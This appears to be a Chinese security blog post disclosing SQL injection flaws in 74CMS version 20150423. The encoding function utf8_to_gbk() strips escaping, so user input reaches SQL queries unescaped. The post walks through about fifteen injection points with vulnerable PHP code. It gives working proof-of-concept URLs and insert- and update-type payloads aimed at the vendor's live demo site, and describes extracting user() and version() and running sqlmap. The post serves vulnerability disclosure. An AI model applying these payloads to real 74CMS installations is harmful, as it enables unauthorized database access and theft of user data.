74CMS 20150423最新版高危逻辑设计缺陷导致的安全问题(官方demo演示)

  • A+
所属分类:漏洞时代
摘要

74CMS最新版在处理转码现在使用的utf8_to_gbk()函数,看过74CMS的都知道之前用的iconv函数被雨牛报过漏洞,现在里面使用了stripslashes函数:

74CMS最新版在处理转码现在使用的utf8_to_gbk()函数,看过74CMS的都知道之前用的iconv函数被雨牛报过漏洞,现在里面使用了stripslashes函数:

//编码转换  function utf8_to_gbk($utfstr) {      $utfstr=stripslashes($utfstr);//使用stripslashes函数可以干掉GPC的转义      if(is_numeric($utfstr)){          return $utfstr;      }      global $UC2GBTABLE;      $okstr = '';      if(empty($UC2GBTABLE)) {          define('CODETABLEDIR', dirname(__FILE__).DIRECTORY_SEPARATOR.'encoding'.DIRECTORY_SEPARATOR);          $filename = CODETABLEDIR.'gb-unicode.table';          $fp = fopen($filename, 'rb');          while($l = fgets($fp,15)) {                      $UC2GBTABLE[hexdec(substr($l, 7, 6))] = hexdec(substr($l, 0, 6));          }          fclose($fp);      }      $okstr = '';      $ulen = strlen($utfstr);      for($i=0; $i<$ulen; $i++) {          $c = $utfstr[$i];          $cb = decbin(ord($utfstr[$i]));          if(strlen($cb)==8) {               $csize = strpos(decbin(ord($cb)),'0');              for($j = 0; $j < $csize; $j++) {                  $i++;                   $c .= $utfstr[$i];              }              $c = utf8_to_unicode($c);              if(isset($UC2GBTABLE[$c])) {                  $c = dechex($UC2GBTABLE[$c]+0x8080);                  $okstr .= chr(hexdec($c[0].$c[1])).chr(hexdec($c[2].$c[3]));              } else {                  $okstr .= '&#'.$c.';';              }          } else {              $okstr .= $c;          }      }      $okstr = trim($okstr);      return addslashes_deep($okstr);//返回的时候又使用了addslashes函数,我们跟进看看  }

现在存在两种情况:
1.GPC开启,stripslashes函数干掉GPC的转义;
2.GPC关闭,但是有全局转义的函数,stripslashes干掉全局转义;
我们跟进addslashes_deep函数:

function addslashes_deep($value)  {      if (empty($value))      {          return $value;      }      else      {          if (!get_magic_quotes_gpc())          {          $value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags(addslashes($value));          }          else          {          $value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags($value);          }          return $value;      }  }

主要逻辑在else里:
1.GPC开启,直接使用mystrip_tags函数处理,然后返回;
2.GPC关闭,再次使用addslashes函数进行转义处理,然后返回;
也就是说如果GPC开启,那么使用stripslashes函数直接就生吞GPC?吓得我一身冷汗...我们再跟进mystrip_tags函数看看有没有过滤:

/**   * xss过滤函数   * @param $string   * @return string   */  function mystrip_tags($string)  {      $string = new_html_special_chars($string);      $string = remove_xss($string);      return $string;  }  function new_html_special_chars($string) {      $string = str_replace(array('&', '"', '<', '>'), array('&', '"', '<', '>'), $string);      $string = strip_tags($string);      return $string;  }

发现仅仅简单过滤xss,那么注入就来了!
我们全局搜索下看使用utf8_to_gbk()函数处理的条数,竟然有82条:
74CMS 20150423最新版高危逻辑设计缺陷导致的安全问题(官方demo演示)
注入1./plus/ajax_common.php

elseif($act=="hotword")  {   if (empty($_GET['query']))   {   exit();   }   $gbk_query=trim($_GET['query']);   if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)   {   $gbk_query=utf8_to_gbk($gbk_query);   }   $sql="SELECT * FROM ".table('hotword')." WHERE w_word like '%{$gbk_query}%' ORDER BY `w_hot` DESC LIMIT 0 , 10";   $result = $db->query($sql);  ... ...

POC:http://demo.74cms.com/plus/ajax_common.php?act=hotword&query=%E4%BC%9A%E8%AE%A1%%27%20and%20w_hot%20like%20%27%1
74CMS 20150423最新版高危逻辑设计缺陷导致的安全问题(官方demo演示)
sqlmap直接跑无压力,就是这么暴力,就是这么任性:
74CMS 20150423最新版高危逻辑设计缺陷导致的安全问题(官方demo演示)
注入2./plus/ajax_street.php

elseif($act == 'key')  {   $key=trim($_GET['key']);   if (!empty($key))   {   if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0) $key=utf8_to_gbk($key);   $result = $db->query("select * from ".table('category')." where c_alias='QS_street' AND c_name LIKE '%{$key}%' ");  ... ...

POC:http://demo.74cms.com/plus/ajax_street.php?act=key&key=%E5%BB%BA%E8%AE%BE%%27%20and%20c_name%20like%20%27%%E5%BB%BA%E8%AE%BE
74CMS 20150423最新版高危逻辑设计缺陷导致的安全问题(官方demo演示)
74CMS 20150423最新版高危逻辑设计缺陷导致的安全问题(官方demo演示)
注入3./plus/ajax_user.php

elseif($act =='check_usname')  {   require_once(QISHI_ROOT_PATH.'include/fun_user.php');   $usname=trim($_POST['usname']);   if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)   {   $usname=utf8_to_gbk($usname);   }   $user=get_user_inusername($usname);  ... ...  跟进get_user_inusername  function get_user_inusername($username)  {   global $db;   $sql = "select * from ".table('members')." where username = '{$username}' LIMIT 1";   return $db->getone($sql);  }

直接sqlmap验证,我们注册一个账户叫Tester
74CMS 20150423最新版高危逻辑设计缺陷导致的安全问题(官方demo演示)
74CMS 20150423最新版高危逻辑设计缺陷导致的安全问题(官方demo演示)
注入4./plus/ajax_user.php

elseif($act == 'check_email')  {   require_once(QISHI_ROOT_PATH.'include/fun_user.php');   $email=trim($_POST['email']);   if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)   {   $email=utf8_to_gbk($email);   }   $user=get_user_inemail($email);  ... ...

跟进get_user_inemail

function get_user_inemail($email)  {   global $db;   return $db-&gt;getone("select * from ".table('members')." where email = '{$email}' LIMIT 1");  }

同样用注册邮箱[email protected]测试
74CMS 20150423最新版高危逻辑设计缺陷导致的安全问题(官方demo演示)
74CMS 20150423最新版高危逻辑设计缺陷导致的安全问题(官方demo演示)
注入5./user/user_apply_jobs.php

elseif ($act=="app_save")  {   $jobsid=isset($_POST['jobsid'])?$_POST['jobsid']:exit("出错了");   $resumeid=isset($_POST['resumeid'])?intval($_POST['resumeid']):exit("出错了");   $notes=isset($_POST['notes'])?trim($_POST['notes']):"";   $pms_notice=intval($_POST['pms_notice']);   $jobsarr=app_get_jobs($jobsid);   if (empty($jobsarr))   {   exit("职位丢失");   }   $resume_basic=get_resume_basic($_SESSION['uid'],$resumeid);   $resume_basic = array_map("addslashes", $resume_basic);   if (empty($resume_basic))   {   exit("简历丢失");   }   $i=0;   foreach($jobsarr as $jobs)    {      $jobs = array_map("addslashes", $jobs);      if (check_jobs_apply($jobs['id'],$resumeid,$_SESSION['uid']))     {      continue ;     }     if ($resume_basic['display_name']=="2")     {      $personal_fullname="N".str_pad($resume_basic['id'],7,"0",STR_PAD_LEFT);     }     elseif($resume_basic['display_name']=="3")     {      $personal_fullname=cut_str($resume_basic['fullname'],1,0,"**");     }     else     {      $personal_fullname=$resume_basic['fullname'];     }      $addarr['resume_id']=$resumeid;     $addarr['resume_name']=$personal_fullname;     $addarr['personal_uid']=intval($_SESSION['uid']);     $addarr['jobs_id']=$jobs['id'];     $addarr['jobs_name']=$jobs['jobs_name'];     $addarr['company_id']=$jobs['company_id'];     $addarr['company_name']=$jobs['companyname'];     $addarr['company_uid']=$jobs['uid'];     $addarr['notes']= $notes;     if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)     {     $addarr['notes']=utf8_to_gbk($addarr['notes']);     }     $addarr['apply_addtime']=time();     $addarr['personal_look']=1;     if (inserttable(table('personal_jobs_apply'),$addarr))  //是个insert型注入,请看下面实战分析  ... ...

注入5有点略长,需要注册三个账户:求职者A(HunterA),求职者B(HunterB)和企业C(HackerE)
首先HunterA申请HackerE发布的职位
74CMS 20150423最新版高危逻辑设计缺陷导致的安全问题(官方demo演示)
然后点击投递后抓包,上insert型的payload狙击:

1111',1434898210,1),('3', 'HunterB', '4', '1', user(), '1', version(), '2', '1111

74CMS 20150423最新版高危逻辑设计缺陷导致的安全问题(官方demo演示)
HackerE登录后即可成功获取注入信息
74CMS 20150423最新版高危逻辑设计缺陷导致的安全问题(官方demo演示)
注入6./user/user_invited.php

$addarr['resume_name']=$resume['fullname'];   }   $addarr['resume_uid']=$resume['uid'];   $addarr['company_id']=$jobs['company_id'];   $addarr['company_addtime']=$jobs['company_addtime'];   $addarr['company_name']=$jobs['companyname'];   $addarr['company_uid']=$_SESSION['uid'];   $addarr['jobs_id']=$jobs['id'];   $addarr['jobs_name']=$jobs['jobs_name'];   $addarr['jobs_addtime']=$jobs['addtime'];    $addarr['notes']= $notes;   if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)   {    $addarr['notes']=utf8_to_gbk($addarr['notes']);   }   $addarr['personal_look']= 1;   $addarr['interview_addtime']=time();   $resume_user=get_user_info($resume['uid']);   $resume_user = array_map("addslashes",$resume_user);   if ($_CFG['operation_mode']=="2")   {    inserttable(table('company_interview'),$addarr);  //同注入5,同为$addarr的insert注入

注入7./user/user_report.php

elseif ($act=="app_save")  {   $setsqlarr['content']=trim($_POST['content'])?trim($_POST['content']):exit("出错了");   $setsqlarr['jobs_id']=$_POST['jobs_id']?intval($_POST['jobs_id']):exit("出错了");   $setsqlarr['jobs_name']=trim($_POST['jobs_name'])?trim($_POST['jobs_name']):exit("出错了");   $setsqlarr['jobs_addtime']=intval($_POST['jobs_addtime']);   $setsqlarr['uid']=intval($_SESSION['uid']);   $setsqlarr['addtime']=time();   if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)   {   $setsqlarr['content']=utf8_to_gbk($setsqlarr['content']);   $setsqlarr['jobs_name']=utf8_to_gbk($setsqlarr['jobs_name']);   }   $jobsarr=app_get_jobs($setsqlarr['jobs_id']);   if (empty($jobsarr))   {   exit("职位丢失");   }   else   {    $insert_id = inserttable(table('report'),$setsqlarr,1);  //很明显,又是inset注入

注入8./user/user_report_resume.php

elseif ($act=="app_save")  {   $setsqlarr['content']=trim($_POST['content'])?trim($_POST['content']):exit("出错了");   $setsqlarr['resume_id']=$_POST['resume_id']?intval($_POST['resume_id']):exit("出错了");   $setsqlarr['title']=trim($_POST['full_name'])?trim($_POST['full_name']):exit("出错了");   $setsqlarr['resume_addtime']=intval($_POST['resume_addtime']);   $setsqlarr['uid']=intval($_SESSION['uid']);   $setsqlarr['addtime']=time();   if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)   {   $setsqlarr['content']=utf8_to_gbk($setsqlarr['content']);   $setsqlarr['title']=utf8_to_gbk($setsqlarr['title']);   }   $resume=get_resume_basic($setsqlarr['resume_id']);   if (empty($resume))   {   exit("简历丢失");   }   else   {    $insert_id = inserttable(table('report_resume'),$setsqlarr,1);  //insert注入

注入9./user/company/company_info.php(该文件注入点太多,需要注册企业账户,也不赘述)

elseif ($act=='company_profile_save')  {      $uid=intval($_SESSION['uid']);   $setsqlarr['uid']=intval($_SESSION['uid']);   $setsqlarr['companyname']=trim($_POST['companyname'])?utf8_to_gbk(trim($_POST['companyname'])):exit('您没有输入企业名称!');   check_word($_CFG['filter'],$setsqlarr['companyname'])?exit($_CFG['filter_tips']):'';   $setsqlarr['nature']=trim($_POST['nature'])?intval($_POST['nature']):exit('您选择企业性质!');   $setsqlarr['nature_cn']=utf8_to_gbk(trim($_POST['nature_cn']));   $setsqlarr['trade']=trim($_POST['trade'])?intval($_POST['trade']):exit('您选择所属行业!');   $setsqlarr['trade_cn']=utf8_to_gbk(trim($_POST['trade_cn']));   $setsqlarr['district']=intval($_POST['district'])>0?intval($_POST['district']):exit('您选择所属地区!');   $setsqlarr['sdistrict']=intval($_POST['sdistrict']);   $setsqlarr['district_cn']=utf8_to_gbk(trim($_POST['district_cn']));   if (intval($_POST['street'])>0)   {   $setsqlarr['street']=intval($_POST['street']);   $setsqlarr['street_cn']=utf8_to_gbk(trim($_POST['street_cn']));   }   $setsqlarr['scale']=trim($_POST['scale'])?utf8_to_gbk(trim($_POST['scale'])):exit('您选择公司规模!');   $setsqlarr['scale_cn']=utf8_to_gbk(trim($_POST['scale_cn']));   $setsqlarr['registered']=utf8_to_gbk(trim($_POST['registered']));   $setsqlarr['currency']=utf8_to_gbk(trim($_POST['currency']));   $setsqlarr['address']=trim($_POST['address'])?utf8_to_gbk(trim($_POST['address'])):exit('请填写通讯地址!');   check_word($_CFG['filter'],$setsqlarr['address'])?exit($_CFG['filter_tips']):'';   $setsqlarr['contact']=trim($_POST['contact'])?utf8_to_gbk(trim($_POST['contact'])):exit('请填写联系人!');   check_word($_CFG['filter'],$setsqlarr['contact'])?exit($_CFG['filter_tips']):'';   $setsqlarr['telephone']=trim($_POST['telephone'])?utf8_to_gbk(trim($_POST['telephone'])):exit('请填写联系电话!');   check_word($_CFG['filter'],$setsqlarr['telephone'])?exit($_CFG['filter_tips']):'';   $setsqlarr['email']=trim($_POST['email'])?utf8_to_gbk(trim($_POST['email'])):exit('请填写联系邮箱!');   check_word($_CFG['filter'],$setsqlarr['email'])?exit($_CFG['filter_tips']):'';   $setsqlarr['website']=utf8_to_gbk(trim($_POST['website']));   check_word($_CFG['filter'],$setsqlarr['website'])?exit($_CFG['filter_tips']):'';   $setsqlarr['contents']=trim($_POST['contents'])?utf8_to_gbk(trim($_POST['contents'])):exit('请填写公司简介!');   check_word($_CFG['filter'],$setsqlarr['contents'])?exit($_CFG['filter_tips']):'';   $setsqlarr['yellowpages']=intval($_POST['yellowpages']);         $setsqlarr['contact_show']=intval($_POST['contact_show']);   $setsqlarr['email_show']=intval($_POST['email_show']);   $setsqlarr['telephone_show']=intval($_POST['telephone_show']);   $setsqlarr['address_show']=intval($_POST['address_show']);       if ($_CFG['company_repeat']=="0")   {    $info=$db->getone("SELECT uid FROM ".table('company_profile')." WHERE companyname ='{$setsqlarr['companyname']}' AND uid<>'{$_SESSION['uid']}' LIMIT 1");

注入点10./user/personal/personal_resume.php(注入点很多,update型注入点)
再来一处update型注入点

elseif ($act=='ajax_save_basic')  {   $setsqlarr['uid']=intval($_SESSION['uid']);   $setsqlarr['telephone']=trim($_POST['mobile'])?trim($_POST['mobile']):exit('请填写手机号!');   $go_verify=0;   if($user['mobile_audit']==0){    $verifycode=trim($_POST['verifycode']);    if($verifycode){     if (empty($_SESSION['mobile_rand']) || $verifycode<>$_SESSION['mobile_rand'])     {      exit("手机验证码错误");     }     else     {      $verifysqlarr['mobile'] = $setsqlarr['telephone'];      $verifysqlarr['mobile_audit'] = 1;      $go_verify=1;      updatetable(table('members'),$verifysqlarr," uid='{$setsqlarr['uid']}'");      unset($verifysqlarr);     }    }    unset($_SESSION['verify_mobile'],$_SESSION['mobile_rand']);   }   $setsqlarr['title']=trim($_POST['title'])?utf8_to_gbk(trim($_POST['title'])):"未命名简历";   check_word($_CFG['filter'],$setsqlarr['title'])?exit($_CFG['filter_tips']):'';   $setsqlarr['fullname']=trim($_POST['fullname'])?utf8_to_gbk(trim($_POST['fullname'])):exit('请填写姓名!');   check_word($_CFG['filter'],$setsqlarr['fullname'])?exit($_CFG['filter_tips']):'';   $setsqlarr['display_name']=intval($_POST['display_name']);   $setsqlarr['sex']=trim($_POST['sex'])?intval($_POST['sex']):exit('请选择性别!');   $setsqlarr['sex_cn']=utf8_to_gbk(trim($_POST['sex_cn']));   $setsqlarr['birthdate']=intval($_POST['birthdate'])>1945?intval($_POST['birthdate']):exit('请正确填写出生年份');   $setsqlarr['residence']=trim($_POST['residence'])?utf8_to_gbk(trim($_POST['residence'])):exit('请选择现居住地!');   $setsqlarr['residence_cn']=utf8_to_gbk(trim($_POST['residence_cn']));   $setsqlarr['education']=intval($_POST['education'])?intval($_POST['education']):exit('请选择学历');   $setsqlarr['education_cn']=utf8_to_gbk(trim($_POST['education_cn']));   $setsqlarr['experience']=intval($_POST['experience'])?intval($_POST['experience']):exit('请选择工作经验');   $setsqlarr['experience_cn']=utf8_to_gbk(trim($_POST['experience_cn']));   $setsqlarr['email']=trim($_POST['email'])?utf8_to_gbk(trim($_POST['email'])):exit('请填写邮箱!');   check_word($_CFG['filter'],$setsqlarr['email'])?exit($_CFG['filter_tips']):'';   $setsqlarr['email_notify']=$_POST['email_notify']=="1"?1:0;   $setsqlarr['height']=intval($_POST['height']);   $setsqlarr['householdaddress']=trim($_POST['householdaddress']);   $setsqlarr['householdaddress_cn']=utf8_to_gbk(trim($_POST['householdaddress_cn']));    $setsqlarr['marriage']=intval($_POST['marriage']);   $setsqlarr['marriage_cn']=utf8_to_gbk(trim($_POST['marriage_cn']));   $setsqlarr['intention_jobs']=utf8_to_gbk(trim($_POST['intention_jobs']))?utf8_to_gbk(trim($_POST['intention_jobs'])):exit('请选择意向职位!');   $setsqlarr['trade']=$_POST['trade']?trim($_POST['trade']):exit('请选择期望行业!');   $setsqlarr['trade_cn']=utf8_to_gbk(trim($_POST['trade_cn']));   $setsqlarr['district']=trim($_POST['district'])?intval($_POST['district']):exit('请选择期望工作地区!');   $setsqlarr['sdistrict']=intval($_POST['sdistrict']);   $setsqlarr['district_cn']=utf8_to_gbk(trim($_POST['district_cn']));   $setsqlarr['nature']=intval($_POST['nature'])?intval($_POST['nature']):exit('请选择期望岗位性质!');   $setsqlarr['nature_cn']=utf8_to_gbk(trim($_POST['nature_cn']));   $setsqlarr['wage']=intval($_POST['wage'])?intval($_POST['wage']):exit('请选择期望薪资!');   $setsqlarr['wage_cn']=utf8_to_gbk(trim($_POST['wage_cn']));   $setsqlarr['refreshtime']=$timestamp;   $_CFG['audit_edit_resume']!="-1"?$setsqlarr['audit']=intval($_CFG['audit_edit_resume']):"";   updatetable(table('resume'),$setsqlarr," id='".intval($_REQUEST['pid'])."'  AND uid='{$setsqlarr['uid']}'");

修改我个人简历后抓包,update注入,覆盖掉可控的telephone变量,POC如下:

fullname=HunterA', telephone = user(), sex='1

74CMS 20150423最新版高危逻辑设计缺陷导致的安全问题(官方demo演示)
预览简历发现telephone字段成功注出
74CMS 20150423最新版高危逻辑设计缺陷导致的安全问题(官方demo演示)
注入11、12./user/plus/ajax_user.php

elseif($act =='check_usname')  {   require_once(QISHI_ROOT_PATH.'include/fun_user.php');   $usname=trim($_POST['usname']);   if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)   {   $usname=utf8_to_gbk($usname);//注入11   }   $user=get_user_inusername($usname);   if (defined('UC_API'))   {    include_once(QISHI_ROOT_PATH.'uc_client/client.php');    if (uc_user_checkname($usname)===1 && empty($user))    {    exit("true");    }    else    {    exit("false");    }   }   empty($user)?exit("true"):exit("false");  }  elseif($act == 'check_email')  {   require_once(QISHI_ROOT_PATH.'include/fun_user.php');   $email=trim($_POST['email']);   if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)   {   $email=utf8_to_gbk($email);//注入12.   }   $user=get_user_inemail($email);   if (defined('UC_API'))   {    include_once(QISHI_ROOT_PATH.'uc_client/client.php');    if (uc_user_checkemail($email)===1 && empty($user))    {    exit("true");    }    else    {    exit("false");    }   }   empty($user)?exit("true"):exit("false");  }

74CMS 20150423最新版高危逻辑设计缺陷导致的安全问题(官方demo演示)
74CMS 20150423最新版高危逻辑设计缺陷导致的安全问题(官方demo演示)
注入13-15./wap/personal/wap_user.php、/wap/personal/wap_apply.php、/wap/company/wap_company_jobs.php
wap端的功能存在同样问题

// 修改简历名  elseif($act == 'resume_name_save')  {      $smarty->cache = false;      $_POST=array_map("utf8_to_gbk", $_POST);      $resume_id=intval($_POST["resume_id"]);      $uid=intval($_SESSION["uid"]);      $title=trim($_POST['title'])?trim($_POST['title']):exit("请输入简历名称");      $sql="update ".table("resume")." set title='$title' where id=$resume_id and uid=$uid ";      if($db->query($sql)){          exit("ok");      }else{          exit("err");      }

我们看到是个update型的注入,由于是简历,那么我们可以在其它字段显示出来,后边的引号再用引号闭合即可!
查看数据库中resume表的字段,那么就使用fullname字段出注入数据,sex字段闭合后面单引号
74CMS 20150423最新版高危逻辑设计缺陷导致的安全问题(官方demo演示)
在个人简历处,修改简历名字并抓包,POC为title=bob',fullname=user(),sex='1
74CMS 20150423最新版高危逻辑设计缺陷导致的安全问题(官方demo演示)
查看基本信息,发现成功获取当前的用户:
74CMS 20150423最新版高危逻辑设计缺陷导致的安全问题(官方demo演示)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: